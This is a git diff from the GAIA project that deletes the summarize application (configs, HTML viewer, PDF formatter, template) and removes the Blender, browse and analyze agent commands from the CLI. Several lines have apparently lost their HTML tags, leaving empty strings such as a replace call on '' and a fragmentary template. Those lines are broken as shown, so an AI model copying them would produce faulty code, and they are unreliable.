b/src/gaia/apps/summarize/__init__.py deleted file mode 100644 index 53bd49073..000000000 --- a/src/gaia/apps/summarize/__init__.py +++ /dev/null @@ -1,2 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT diff --git a/src/gaia/apps/summarize/app.py b/src/gaia/apps/summarize/app.py deleted file mode 100644 index 5af6fe3d4..000000000 --- a/src/gaia/apps/summarize/app.py +++ /dev/null @@ -1,136 +0,0 @@ -#!/usr/bin/env python3 -# Copyright(C) 2024-2025 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -""" -Gaia Summarizer Application - Thin wrapper that delegates to SummarizerAgent -""" - -import re -from dataclasses import dataclass -from pathlib import Path -from typing import Any, Dict, List, Literal, Optional - -from gaia.agents.install_hints import agent_not_installed_message -from gaia.llm.lemonade_client import DEFAULT_MODEL_NAME -from gaia.logger import get_logger - - -def _load_summarizer_agent_class(): - """Import SummarizerAgent from its standalone package, or fail loudly. - - The summarize agent ships as the separate ``gaia-agent-summarize`` wheel - (issue #1102); it is no longer part of the core ``amd-gaia`` wheel. - """ - try: - from gaia_agent_summarize.agent import SummarizerAgent - except ImportError as e: - raise ImportError( - agent_not_installed_message( - "The summarize agent is not installed", - "gaia-agent-summarize", - next_step="See https://amd-gaia.ai/docs/guides/summarize.", - ) - ) from e - return SummarizerAgent - - -# Utility functions for email validation (used by CLI and other tools) -def validate_email_address(email: str) -> bool: - """Validate email address format""" - email_pattern = r"^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$" - return re.match(email_pattern, email.strip()) is not None - - -def validate_email_list(email_list: str) -> list[str]: - """Validate and parse comma-separated email list""" - if not email_list: - return [] - emails = [e.strip() for e in email_list.split(",") if e.strip()] - invalid_emails = [e for e in emails if not validate_email_address(e)] - if invalid_emails: - raise ValueError(f"Invalid email address(es): {', '.join(invalid_emails)}") - return emails - - -@dataclass -class SummaryConfig: - """Configuration for summarization""" - - model: str = DEFAULT_MODEL_NAME - max_tokens: int = 1024 - input_type: Literal["transcript", "email", "auto"] = "auto" - styles: List[str] = None - combined_prompt: bool = False - use_claude: bool = False - use_chatgpt: bool = False - - def __post_init__(self): - if self.styles is None: - self.styles = ["executive", "participants", "action_items"] - - # Auto-detect OpenAI models (gpt-*) to use ChatGPT - if self.model and self.model.lower().startswith("gpt"): - self.use_chatgpt = True - - -class SummarizerApp: - """Main application class for summarization (delegates to SummarizerAgent)""" - - def __init__(self, config: Optional[SummaryConfig] = None): - self.config = config or SummaryConfig() - self.log = get_logger(__name__) - summarizer_agent_class = _load_summarizer_agent_class() - self.agent = summarizer_agent_class( - model=self.config.model, - max_tokens=self.config.max_tokens, - styles=self.config.styles, - combined_prompt=self.config.combined_prompt, - use_claude=self.config.use_claude, - use_chatgpt=self.config.use_chatgpt, - ) - - def summarize_file( - self, - file_path: Path, - styles: Optional[List[str]] = None, - combined_prompt: Optional[bool] = None, - input_type: str = "auto", - ) -> Dict[str, Any]: - # Always convert file_path to Path object if it's a string - if not isinstance(file_path, Path): - file_path = Path(file_path) - return self.agent.summarize_file( - file_path, - styles=styles, - combined_prompt=combined_prompt, - input_type=input_type, - ) - - def summarize_directory( - self, - dir_path: Path, - styles: Optional[List[str]] = None, - combined_prompt: Optional[bool] = None, - input_type: str = "auto", - ) -> List[Dict[str, Any]]: - return self.agent.summarize_directory( - dir_path, - styles=styles, - combined_prompt=combined_prompt, - input_type=input_type, - ) - - def summarize( - self, - content: str, - styles: Optional[List[str]] = None, - combined_prompt: Optional[bool] = None, - input_type: str = "auto", - ) -> Dict[str, Any]: - return self.agent.summarize( - content, - styles=styles, - combined_prompt=combined_prompt, - input_type=input_type, - ) diff --git a/src/gaia/apps/summarize/configs/README.md b/src/gaia/apps/summarize/configs/README.md deleted file mode 100644 index ab79a18d0..000000000 --- a/src/gaia/apps/summarize/configs/README.md +++ /dev/null @@ -1,102 +0,0 @@ -# Summarizer Configuration Templates - -This directory contains predefined configuration templates for the GAIA summarizer. - -## Available Configurations - -### meeting_summary.json -Standard meeting summary format ideal for sharing with team members. -- Styles: executive, participants, action_items -- Format: JSON -- Use case: Regular team meetings, status updates - -### meeting_minutes.json -Formal meeting documentation with comprehensive details. -- Styles: detailed, participants, action_items -- Format: PDF -- Use case: Board meetings, formal project reviews - -### email_brief.json -Quick email summaries with key points. -- Styles: executive, bullets -- Format: JSON -- Use case: Email digests, quick email reviews - -### quick_brief.json -Ultra-concise summary with just the essentials. -- Styles: brief only -- Format: JSON -- Use case: Quick overview, executive briefings - -### comprehensive.json -Full analysis with all available summary styles. -- Styles: all styles -- Format: JSON -- Use case: Detailed analysis, evaluation purposes - -### openai_premium.json -**Testing/Validation Only**: High-quality summaries using GPT-4 for comparison. -- Model: gpt-4 -- Styles: executive, detailed, participants, action_items -- Format: JSON -- Use case: Validation against cloud models, quality benchmarking - -### openai_fast.json -**Testing/Validation Only**: Quick summaries using GPT-3.5 Turbo for comparison. -- Model: gpt-3.5-turbo -- Styles: brief, action_items -- Format: JSON -- Use case: Speed/cost comparison with local models - -## Configuration File Format - -```json -{ - "name": "Configuration Name", - "description": "Brief description shown in --list-configs", - "styles": ["style1", "style2"], - "format": "json|pdf|email|both", - "max_tokens": 1024, - "include_original": true|false, - "combined_prompt": true|false -} -``` - -### Fields - -- **name**: Display name for the configuration -- **description**: Brief description shown when listing configs -- **styles**: Array of summary styles to generate - - Options: brief, detailed, bullets, executive, participants, action_items -- **format**: Output format - - json: JSON file with metadata and performance metrics - - pdf: PDF report (not yet implemented) - - email: Opens email client with summary - - both: Generates both JSON and PDF -- **max_tokens**: Maximum tokens for LLM generation -- **include_original**: Whether to append original content to output -- **combined_prompt**: Whether to combine multiple styles into one LLM call - -## Usage - -```bash -# List available configurations -gaia summarize --list-configs - -# Use a specific configuration -gaia summarize -i transcript.txt --config meeting_summary - -# Override config settings -gaia summarize -i email.txt --config email_brief --format email --email-to team@company.com -``` - -## Creating Custom Configurations - -To create your own configuration: - -1. Copy an existing template -2. Modify the fields as needed -3. Save with a descriptive filename (e.g., `my_custom_config.json`) -4. Use with: `gaia summarize --config my_custom_config` - -Command-line arguments will override configuration file settings. \ No newline at end of file diff --git a/src/gaia/apps/summarize/configs/comprehensive.json b/src/gaia/apps/summarize/configs/comprehensive.json deleted file mode 100644 index 1e3a08673..000000000 --- a/src/gaia/apps/summarize/configs/comprehensive.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "name": "Comprehensive Analysis", - "description": "Full analysis with all summary styles (warning: multiple LLM calls)", - "styles": ["brief", "detailed", "bullets", "executive", "participants", "action_items"], - "format": "json", - "max_tokens": 2048, - "include_original": true, - "combined_prompt": false -} \ No newline at end of file diff --git a/src/gaia/apps/summarize/configs/email_brief.json b/src/gaia/apps/summarize/configs/email_brief.json deleted file mode 100644 index 010d2f178..000000000 --- a/src/gaia/apps/summarize/configs/email_brief.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "name": "Email Brief", - "description": "Quick email summaries (executive, bullets)", - "styles": ["executive", "bullets"], - "format": "json", - "max_tokens": 512, - "include_original": false, - "combined_prompt": true -} \ No newline at end of file diff --git a/src/gaia/apps/summarize/configs/meeting_minutes.json b/src/gaia/apps/summarize/configs/meeting_minutes.json deleted file mode 100644 index d816eebf8..000000000 --- a/src/gaia/apps/summarize/configs/meeting_minutes.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "name": "Meeting Minutes", - "description": "Formal meeting documentation (detailed, participants, action_items)", - "styles": ["detailed", "participants", "action_items"], - "format": "pdf", - "max_tokens": 1500, - "include_original": true, - "combined_prompt": false -} \ No newline at end of file diff --git a/src/gaia/apps/summarize/configs/meeting_openai.json b/src/gaia/apps/summarize/configs/meeting_openai.json deleted file mode 100644 index 2dc56755e..000000000 --- a/src/gaia/apps/summarize/configs/meeting_openai.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "name": "OpenAI Premium", - "description": "High-quality summaries using GPT-4 for complex documents", - "model": "gpt-4", - "styles": ["executive", "detailed", "participants", "action_items"], - "format": "json", - "max_tokens": 2048, - "combined_prompt": true -} \ No newline at end of file diff --git a/src/gaia/apps/summarize/configs/meeting_summary.json b/src/gaia/apps/summarize/configs/meeting_summary.json deleted file mode 100644 index e734270fc..000000000 --- a/src/gaia/apps/summarize/configs/meeting_summary.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "name": "Meeting Summary", - "description": "Standard meeting summary for sharing (executive, participants, action_items)", - "styles": ["executive", "participants", "action_items"], - "format": "json", - "max_tokens": 1024, - "include_original": true, - "combined_prompt": false -} \ No newline at end of file diff --git a/src/gaia/apps/summarize/configs/quick_brief.json b/src/gaia/apps/summarize/configs/quick_brief.json deleted file mode 100644 index f07e68c6e..000000000 --- a/src/gaia/apps/summarize/configs/quick_brief.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "name": "Quick Brief", - "description": "Concise summary with just the key points (brief only)", - "styles": ["brief"], - "format": "json", - "max_tokens": 256, - "include_original": false, - "combined_prompt": false -} \ No newline at end of file diff --git a/src/gaia/apps/summarize/html_viewer.py b/src/gaia/apps/summarize/html_viewer.py deleted file mode 100644 index 5c2dbe5c3..000000000 --- a/src/gaia/apps/summarize/html_viewer.py +++ /dev/null @@ -1,133 +0,0 @@ -#!/usr/bin/env python3 -# Copyright(C) 2024-2025 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -""" -HTML Viewer for summarizer JSON output -""" - -import json -import webbrowser -from pathlib import Path -from typing import Any, Dict, Optional - -# Template path - will be loaded from file -TEMPLATE_PATH = Path(__file__).parent / "templates" / "summary_report.html" - - -class HTMLViewer: - """Generate and open HTML viewer for summary JSON""" - - @staticmethod - def create_viewer( - json_data: Dict[str, Any], json_path: Path, html_path: Optional[Path] = None - ) -> Path: - """ - Create an HTML viewer for the summary JSON - - Args: - json_data: The summary JSON data - json_path: Path to the JSON file (for display in HTML) - html_path: Path where to save the HTML file (optional, defaults to json_path with .html extension) - - Returns: - Path to the created HTML file - """ - # Ensure json_path is a Path object - if isinstance(json_path, str): - json_path = Path(json_path) - - # Determine HTML path if not provided - if html_path is None: - html_path = json_path.with_suffix(".html") - elif isinstance(html_path, str): - html_path = Path(html_path) - - # Load template from file - if not TEMPLATE_PATH.exists(): - raise FileNotFoundError(f"HTML template not found: {TEMPLATE_PATH}") - - html_template = TEMPLATE_PATH.read_text(encoding="utf-8") - - # Convert JSON to string with proper escaping - json_str = json.dumps(json_data, indent=2) - - # Replace the placeholder with actual JSON data - html_content = html_template.replace("{{JSON_DATA}}", json_str) - - # Add a script to set the JSON file path for display (use JSON path, not HTML path) - json_absolute_path = json_path.resolve() - # Escape backslashes for JavaScript string - json_absolute_path_escaped = str(json_absolute_path).replace("\\", "\\\\") - json_path_script = f""" - -""" - html_content = html_content.replace("", json_path_script) - - # Write HTML file - html_path.write_text(html_content, encoding="utf-8") - - return html_path - - @staticmethod - def open_viewer(html_path: Path, auto_open: bool = True) -> bool: - """ - Open the HTML viewer in the default browser - - Args: - html_path: Path to the HTML file - auto_open: Whether to automatically open the browser - - Returns: - True if successfully opened, False otherwise - """ - if not auto_open: - return False - - # Ensure html_path is a Path object - if isinstance(html_path, str): - html_path = Path(html_path) - - try: - # Use file:// protocol for local files - file_url = html_path.absolute().as_uri() - - # Open in default browser - webbrowser.open(file_url) - return True - - except Exception as e: - print(f"⚠️ Could not open browser automatically: {e}") - print(f" You can manually open: {html_path}") - return False - - @staticmethod - def create_and_open( - json_data: Dict[str, Any], json_path: Path, auto_open: bool = True - ) -> Path: - """ - Create HTML viewer and optionally open it - - Args: - json_data: The summary JSON data - json_path: Path to the JSON file - auto_open: Whether to automatically open the browser - - Returns: - Path to the created HTML file - """ - # Ensure json_path is a Path object - if isinstance(json_path, str): - json_path = Path(json_path) - - # Create HTML file with same name as JSON - html_path = json_path.with_suffix(".html") - html_path = HTMLViewer.create_viewer(json_data, json_path, html_path) - - # Open if requested - if auto_open: - HTMLViewer.open_viewer(html_path, auto_open=True) - - return html_path diff --git a/src/gaia/apps/summarize/pdf_formatter.py b/src/gaia/apps/summarize/pdf_formatter.py deleted file mode 100644 index affee5a55..000000000 --- a/src/gaia/apps/summarize/pdf_formatter.py +++ /dev/null @@ -1,284 +0,0 @@ -#!/usr/bin/env python3 -# Copyright(C) 2024-2025 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -""" -PDF Formatter for summarizer output -""" - -from datetime import datetime -from pathlib import Path -from typing import Any, Dict - -try: - from reportlab.lib import colors - from reportlab.lib.enums import TA_CENTER - from reportlab.lib.pagesizes import letter - from reportlab.lib.styles import ParagraphStyle, getSampleStyleSheet - from reportlab.lib.units import inch - from reportlab.platypus import ( - PageBreak, - Paragraph, - SimpleDocTemplate, - Spacer, - Table, - TableStyle, - ) - - HAS_REPORTLAB = True -except ImportError: - HAS_REPORTLAB = False - - -class PDFFormatter: - """Format summary results as PDF""" - - def __init__(self): - if not HAS_REPORTLAB: - raise ImportError( - "PDF output requires reportlab. Install with: uv pip install reportlab" - ) - - self.styles = getSampleStyleSheet() - self._setup_custom_styles() - - def _setup_custom_styles(self): - """Setup custom paragraph styles""" - # Title style - self.styles.add( - ParagraphStyle( - name="CustomTitle", - parent=self.styles["Heading1"], - fontSize=24, - textColor=colors.HexColor("#1a1a1a"), - spaceAfter=30, - alignment=TA_CENTER, - ) - ) - - # Section header style - self.styles.add( - ParagraphStyle( - name="SectionHeader", - parent=self.styles["Heading2"], - fontSize=16, - textColor=colors.HexColor("#2c3e50"), - spaceAfter=12, - spaceBefore=20, - ) - ) - - # Metadata style - self.styles.add( - ParagraphStyle( - name="Metadata", - parent=self.styles["Normal"], - fontSize=10, - textColor=colors.HexColor("#7f8c8d"), - spaceAfter=6, - ) - ) - - def format_summary_as_pdf(self, result: Dict[str, Any], output_path: Path): - """Generate PDF from summary result""" - doc = SimpleDocTemplate( - str(output_path), - pagesize=letter, - rightMargin=72, - leftMargin=72, - topMargin=72, - bottomMargin=18, - ) - - # Build content - story = [] - - # Title - metadata = result.get("metadata", {}) - input_file = Path(metadata.get("input_file", "Unknown")).name - story.append( - Paragraph(f"Summary Report: {input_file}", self.styles["CustomTitle"]) - ) - story.append(Spacer(1, 0.2 * inch)) - - # Metadata section - story.append(Paragraph("Document Information", self.styles["SectionHeader"])) - meta_items = [ - f"Type: {metadata.get('input_type', 'Unknown').title()}", - f"Generated: {metadata.get('timestamp', datetime.now().isoformat())}", - f"Model: {metadata.get('model', 'Unknown')}", - f"Processing Time: {metadata.get('processing_time_ms', 0)}ms", - ] - - for item in meta_items: - story.append(Paragraph(item, self.styles["Metadata"])) - - story.append(Spacer(1, 0.3 * inch)) - - # Summaries section - if "summary" in result: - # Single style output - self._add_single_summary( - story, result["summary"], metadata.get("summary_style", "Summary") - ) - else: - # Multiple styles output - summaries = result.get("summaries", {}) - for style, content in summaries.items(): - self._add_summary_section(story, style, content) - - # Performance section (optional) - if result.get("performance") or result.get("aggregate_performance"): - story.append(PageBreak()) - story.append(Paragraph("Performance Metrics", self.styles["SectionHeader"])) - - # Use detailed performance stats from individual LLM calls first - perf = result.get("performance", {}) - if not perf: - perf = result.get("aggregate_performance", {}) - - # Get model info from metadata or performance data - metadata = result.get("metadata", {}) - model = metadata.get("model") or perf.get("model_info", {}).get( - "model", "N/A" - ) - is_local = metadata.get( - "use_local_llm", perf.get("model_info", {}).get("local_llm", "N/A") - ) - - perf_data = [ - ["Metric", "Value"], - ["Model", str(model)], - ["Local LLM", str(is_local)], - ["Total Tokens", str(perf.get("total_tokens", "N/A"))], - [ - "Prompt Tokens", - str(perf.get("prompt_tokens", perf.get("input_tokens", "N/A"))), - ], - [ - "Completion Tokens", - str( - perf.get("completion_tokens", perf.get("output_tokens", "N/A")) - ), - ], - ["Time to First Token", f"{perf.get('time_to_first_token_ms', 0)}ms"], - ["Tokens per Second", f"{perf.get('tokens_per_second', 0):.1f}"], - [ - "Processing Time", - f"{perf.get('processing_time_ms', perf.get('total_processing_time_ms', 0))}ms", - ], - ] - - t = Table(perf_data, colWidths=[3 * inch, 2 * inch]) - t.setStyle( - TableStyle( - [ - ("BACKGROUND", (0, 0), (-1, 0), colors.grey), - ("TEXTCOLOR", (0, 0), (-1, 0), colors.whitesmoke), - ("ALIGN", (0, 0), (-1, -1), "CENTER"), - ("FONTNAME", (0, 0), (-1, 0), "Helvetica-Bold"), - ("FONTSIZE", (0, 0), (-1, 0), 12), - ("BOTTOMPADDING", (0, 0), (-1, 0), 12), - ("BACKGROUND", (0, 1), (-1, -1), colors.beige), - ("GRID", (0, 0), (-1, -1), 1, colors.black), - ] - ) - ) - story.append(t) - - # Original content (if included) - if result.get("original_content"): - content = result["original_content"] - - story.append(PageBreak()) - story.append(Paragraph("Original Content", self.styles["SectionHeader"])) - story.append(Spacer(1, 0.2 * inch)) - - # Split content into paragraphs - for para in content.split("\n\n"): - if para.strip(): - story.append(Paragraph(para.strip(), self.styles["Normal"])) - story.append(Spacer(1, 0.1 * inch)) - - # Build PDF - doc.build(story) - - def _add_text_with_newlines(self, story, text): - """Add text to story, handling newlines by converting to HTML breaks""" - if not text: - return - - # Simply replace newlines with HTML line breaks - formatted_text = text.replace("\n", "
") - story.append(Paragraph(formatted_text, self.styles["Normal"])) - - def _add_single_summary(self, story, summary_data, style_name): - """Add a single summary section to the story""" - story.append( - Paragraph( - style_name.replace("_", " ").title(), self.styles["SectionHeader"] - ) - ) - - if "text" in summary_data: - # Handle newlines by splitting into separate paragraphs - self._add_text_with_newlines(story, summary_data["text"]) - story.append(Spacer(1, 0.2 * inch)) - - if "items" in summary_data: - for item in summary_data["items"]: - story.append(Paragraph(f"• {item}", self.styles["Normal"])) - story.append(Spacer(1, 0.2 * inch)) - - if "participants" in summary_data: - story.append(Paragraph("Participants:", self.styles["Normal"])) - for participant in summary_data["participants"]: - story.append(Paragraph(f"• {participant}", self.styles["Normal"])) - story.append(Spacer(1, 0.2 * inch)) - - def _add_summary_section(self, story, style, content): - """Add a summary section for a specific style""" - # Format style name - style_title = style.replace("_", " ").title() - story.append(Paragraph(style_title, self.styles["SectionHeader"])) - - if isinstance(content, dict): - if "text" in content: - # Handle newlines by splitting into separate paragraphs - self._add_text_with_newlines(story, content["text"]) - story.append(Spacer(1, 0.2 * inch)) - - if "items" in content: - for item in content["items"]: - story.append(Paragraph(f"• {item}", self.styles["Normal"])) - story.append(Spacer(1, 0.2 * inch)) - - if "participants" in content: - for participant in content["participants"]: - if isinstance(participant, dict): - p_text = f"• {participant.get('name', 'Unknown')}" - if participant.get("role"): - p_text += f" ({participant['role']})" - story.append(Paragraph(p_text, self.styles["Normal"])) - else: - story.append( - Paragraph(f"• {participant}", self.styles["Normal"]) - ) - story.append(Spacer(1, 0.2 * inch)) - - # Email specific fields - if "sender" in content: - story.append( - Paragraph(f"From: {content['sender']}", self.styles["Normal"]) - ) - if "recipients" in content: - story.append( - Paragraph( - f"To: {', '.join(content['recipients'])}", self.styles["Normal"] - ) - ) - story.append(Spacer(1, 0.2 * inch)) - else: - # Simple text content - self._add_text_with_newlines(story, str(content)) - story.append(Spacer(1, 0.3 * inch)) diff --git a/src/gaia/apps/summarize/templates/README.md b/src/gaia/apps/summarize/templates/README.md deleted file mode 100644 index 08c86178e..000000000 --- a/src/gaia/apps/summarize/templates/README.md +++ /dev/null @@ -1,40 +0,0 @@ -# HTML Templates - -This directory contains HTML templates for the GAIA summarizer output. - -## Files - -### summary_report.html -The main template for summary reports. Features: -- Responsive design with gradient background -- Clean, professional layout -- Interactive elements (collapsible original content) -- Performance metrics visualization -- Proper formatting for participants and action items - -## Template Structure - -The template uses a placeholder `{{JSON_DATA}}` which gets replaced with the actual summary JSON data when generating the HTML file. - -## Customization - -To customize the appearance: -1. Edit the CSS styles in the ` - - -
-
-

📊 Summary Report

-
GAIA Summarizer
-
- -
- -
- - -
- - - - \ No newline at end of file diff --git a/src/gaia/cli.py b/src/gaia/cli.py index 7ca7d6112..ede649b7b 100644 --- a/src/gaia/cli.py +++ b/src/gaia/cli.py @@ -26,31 +26,11 @@ LemonadeClientError, _get_lemonade_config, ) -from gaia.llm.lemonade_launcher import describe_client_hint, describe_start_hint +from gaia.llm.lemonade_launcher import describe_start_hint from gaia.logger import get_logger from gaia.perf_analysis import run_perf_visualization from gaia.version import version -# Optional imports — degrades to BLENDER_AVAILABLE = False when the blender -# agent (or the Blender MCP client) is not installed. -try: - # BlenderAgent now ships as the external ``gaia_agent_blender`` wheel - # (#1102), splitting it from the gaia.mcp import below; both must stay in - # this guarded optional-import block, so the gaia.mcp import is necessarily - # ungrouped from the top-of-file gaia imports. - from gaia_agent_blender.agent import BlenderAgent - - # pylint: disable=ungrouped-imports - from gaia.mcp.blender_mcp_client import MCPClient - - # pylint: enable=ungrouped-imports - - BLENDER_AVAILABLE = True -except ImportError: - BlenderAgent = None - MCPClient = None - BLENDER_AVAILABLE = False - # Load environment variables from .env file load_dotenv() @@ -128,7 +108,7 @@ def initialize_lemonade_for_agent( initialization and error handling. Args: - agent: Agent name (chat, code, talk, rag, blender, jira, docker, vlm, minimal, mcp) + agent: Agent name (chat, talk, rag, vlm, minimal, mcp) quiet: Suppress output (only errors) skip_if_external: If True, skip initialization when using Claude/ChatGPT use_claude: Whether Claude API is being used @@ -246,7 +226,7 @@ def ensure_agent_models( user feedback during model downloads. Args: - agent: Agent name (chat, code, rag, talk, blender, jira, docker, vlm, minimal, mcp) + agent: Agent name (chat, rag, talk, vlm, minimal, mcp) host: Lemonade server host port: Lemonade server port quiet: Suppress output (only errors) @@ -352,60 +332,6 @@ def ensure_agent_models( return False -def check_mcp_health(host="localhost", port=9876): - """Check if Blender MCP server is running and accessible.""" - log = get_logger(__name__) - - try: - import socket - - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3) - result = sock.connect_ex((host, port)) - sock.close() - - if result == 0: - log.debug("Blender MCP server is accessible") - return True - else: - log.debug(f"Failed to connect to Blender MCP server on {host}:{port}") - return False - except Exception as e: - log.debug(f"Error checking MCP server: {str(e)}") - return False - - -def print_mcp_error(): - """Print informative error message when Blender MCP server is not running.""" - print( - "❌ Error: Blender MCP server is not running or not accessible.", - file=sys.stderr, - ) - print("", file=sys.stderr) - print("To set up the Blender MCP server:", file=sys.stderr) - print("", file=sys.stderr) - print("1. Open Blender (version 4.3 or newer recommended)", file=sys.stderr) - print("2. Go to Edit > Preferences > Add-ons", file=sys.stderr) - print("3. Click the down arrow button, then 'Install...'", file=sys.stderr) - print( - "4. Navigate to: /src/gaia/mcp/blender_mcp_server.py", - file=sys.stderr, - ) - print("5. Install and enable the 'Simple Blender MCP' add-on", file=sys.stderr) - print( - "6. Open the 3D viewport sidebar (press 'N' key if not visible)", - file=sys.stderr, - ) - print("7. Find the 'Blender MCP' panel in the sidebar", file=sys.stderr) - print("8. Set port to 9876 and click 'Start Server'", file=sys.stderr) - print("", file=sys.stderr) - print( - "For detailed setup instructions, see: workshop/blender.ipynb", file=sys.stderr - ) - print("", file=sys.stderr) - print("Then try your Blender command again.", file=sys.stderr) - - class GaiaCliClient: log = get_logger(__name__) @@ -570,12 +496,9 @@ async def async_main(action, **kwargs): # Map actions to agent profiles for Lemonade initialization # Each agent has specific model and context size requirements - # Note: code, blender, jira, docker are handled by their own handler functions action_to_agent = { "prompt": "minimal", # Basic prompts use minimal profile "chat": "chat", - "browse": "chat", - "analyze": "chat", "talk": "talk", "stats": "minimal", } @@ -835,67 +758,6 @@ async def async_main(action, **kwargs): agent.stop_watching() except Exception: # pylint: disable=broad-except pass - elif action in ("browse", "analyze"): - # BrowserAgent (id="web") and AnalystAgent (id="data") ship as the - # standalone gaia-agent-browser / gaia-agent-analyst wheels (#1102); - # resolve them through the registry so the framework doesn't hard-import - # the external packages. - from gaia.agents.registry import AgentRegistry - - agent_id = "web" if action == "browse" else "data" - wheel = "gaia-agent-browser" if action == "browse" else "gaia-agent-analyst" - agent_config_kwargs = dict( - use_claude=kwargs.get("use_claude", False), - use_chatgpt=kwargs.get("use_chatgpt", False), - claude_model=kwargs.get("claude_model", "claude-sonnet-4-20250514"), - base_url=kwargs.get("base_url"), - model_id=kwargs.get("model", None), - # None → global default (default_max_steps / env) in Agent. - max_steps=kwargs.get("max_steps"), - streaming=kwargs.get("stream", False), - show_prompts=kwargs.get("show_prompts", False), - show_stats=kwargs.get("show_stats", False), - silent_mode=not ( - kwargs.get("debug", False) or kwargs.get("list_tools", False) - ), - debug=kwargs.get("debug", False), - allowed_paths=kwargs.get("allowed_paths", None), - ) - registry = AgentRegistry() - registry.discover() - if registry.get(agent_id) is None: - raise RuntimeError( - agent_not_installed_message( - f"The '{action}' agent is not installed", - wheel, - next_step=f"Then re-run `gaia {action}`.", - ) - ) - agent = registry.create_agent(agent_id, **agent_config_kwargs) - - try: - if kwargs.get("list_tools", False): - agent.list_tools(verbose=True) - return 0 - - query = kwargs.get("query") - if query: - result = agent.process_query(query, trace=kwargs.get("trace", False)) - if kwargs.get("show_stats", False) and result.get("duration"): - agent.console.display_stats(result) - return 0 if result["status"] == "success" else 1 - - print(f"Starting {agent.__class__.__name__}. Type /quit to exit.") - while True: - user_input = input("\nYou: ").strip() - if not user_input: - continue - if user_input.lower() in {"/quit", "/exit"}: - return 0 - agent.process_query(user_input, trace=kwargs.get("trace", False)) - finally: - if hasattr(agent, "close"): - agent.close() elif action == "talk": # Use TalkSDK for voice functionality from gaia.talk.sdk import TalkConfig, TalkSDK @@ -1136,7 +998,6 @@ def _show_interactive_menu(log=None): print(' gaia prompt "Hello" Single prompt to LLM') print(" gaia talk Voice interaction") print(" gaia init Setup Lemonade + models") - print(" gaia code Code generation agent") print() print(" Run 'gaia --help' for the full command list.") else: @@ -1334,8 +1195,7 @@ def build_parser(): help="Set the logging level (default: INFO)", ) # Shared --config flag. Attached only to commands that read the persistent - # config (chat/llm/prompt + the `gaia config` subcommands) — NOT to - # parent_parser, since `gaia summarize` already defines its own --config. + # config (chat/llm/prompt + the `gaia config` subcommands). config_path_parser = argparse.ArgumentParser(add_help=False) config_path_parser.add_argument( "--config", @@ -1524,32 +1384,6 @@ def build_parser(): default=None, help="Path to pre-built Agent UI frontend dist directory (used with --ui)", ) - for agent_command, agent_help in ( - ("browse", "Web research with search, page fetch, and download tools"), - ("analyze", "Structured data analysis with scratchpad tables"), - ): - agent_parser = subparsers.add_parser( - agent_command, - help=agent_help, - parents=[parent_parser], - ) - agent_parser.add_argument( - "--query", - "-q", - type=str, - help="Single query to execute (defaults to interactive mode if not provided)", - ) - agent_parser.add_argument( - "--show-prompts", action="store_true", help="Display prompts sent to LLM" - ) - agent_parser.add_argument( - "--debug", action="store_true", help="Enable debug output" - ) - agent_parser.add_argument( - "--allowed-paths", - nargs="+", - help="Allowed directory paths for file operations", - ) talk_parser = subparsers.add_parser( "talk", help="Start voice conversation with Gaia", parents=[parent_parser] ) @@ -1596,240 +1430,6 @@ def build_parser(): ) talk_parser.set_defaults(action="talk") - # Add summarize command - summarize_parser = subparsers.add_parser( - "summarize", - help="Summarize meeting transcripts and emails", - parents=[parent_parser], - ) - summarize_parser.add_argument( - "-i", - "--input", - help="Input file or directory path (required unless using --list-configs)", - ) - summarize_parser.add_argument( - "-o", - "--output", - help="Output file/directory path (auto-adjusted based on format)", - ) - summarize_parser.add_argument( - "-t", - "--type", - choices=["transcript", "email", "pdf", "auto"], - default="auto", - help="Input type (default: auto-detect)", - ) - summarize_parser.add_argument( - "-f", - "--format", - choices=["json", "pdf", "email", "both"], - default="json", - help="Output format (default: json). 'both' generates json and pdf", - ) - summarize_parser.add_argument( - "--styles", - nargs="+", - choices=[ - "brief", - "detailed", - "bullets", - "executive", - "participants", - "action_items", - "all", - ], - default=["executive", "participants", "action_items"], - help="Summary style(s) to generate (default: executive participants action_items)", - ) - summarize_parser.add_argument( - "--max-tokens", - type=int, - default=1024, - help="Maximum tokens for summary (default: 1024)", - ) - summarize_parser.add_argument( - "--email-to", help="Email recipients (comma-separated) for email output format" - ) - summarize_parser.add_argument( - "--email-subject", help="Email subject line (default: auto-generated)" - ) - summarize_parser.add_argument("--email-cc", help="CC recipients (comma-separated)") - summarize_parser.add_argument( - "--config", help="Use predefined configuration file from configs/ directory" - ) - summarize_parser.add_argument( - "--list-configs", - action="store_true", - help="List all available configuration templates", - ) - summarize_parser.add_argument( - "--quiet", - action="store_true", - help="Minimal output, suppress progress indicators", - ) - summarize_parser.add_argument( - "--verbose", action="store_true", help="Detailed output with debug information" - ) - summarize_parser.add_argument( - "--combined-prompt", - action="store_true", - help="Combine multiple styles into single LLM call (experimental - may reduce quality)", - ) - summarize_parser.add_argument( - "--no-viewer", - action="store_true", - help="Don't automatically open HTML viewer for JSON output", - ) - - # Add Blender agent command - blender_parser = subparsers.add_parser( - "blender", - help="Blender 3D scene creation and modification", - parents=[parent_parser], - ) - blender_parser.add_argument( - "--example", - type=int, - choices=range(1, 7), - help="Run a specific example (1-6), if not specified run interactive mode", - ) - blender_parser.add_argument( - "--steps", - type=int, - default=None, - help="Maximum number of steps per query. Defaults to the global agent " - "step limit (50, or $GAIA_AGENT_MAX_STEPS if set).", - ) - blender_parser.add_argument( - "--output-dir", - type=str, - default="output", - help="Directory to save output files", - ) - blender_parser.add_argument( - "--query", type=str, help="Custom query to run instead of examples" - ) - blender_parser.add_argument( - "--interactive", - action="store_true", - help="Enable interactive mode to continuously input queries", - ) - blender_parser.add_argument( - "--debug-prompts", - action="store_true", - default=False, - help="Enable debug prompts", - ) - blender_parser.add_argument( - "--print-result", - action="store_true", - default=False, - help="Print 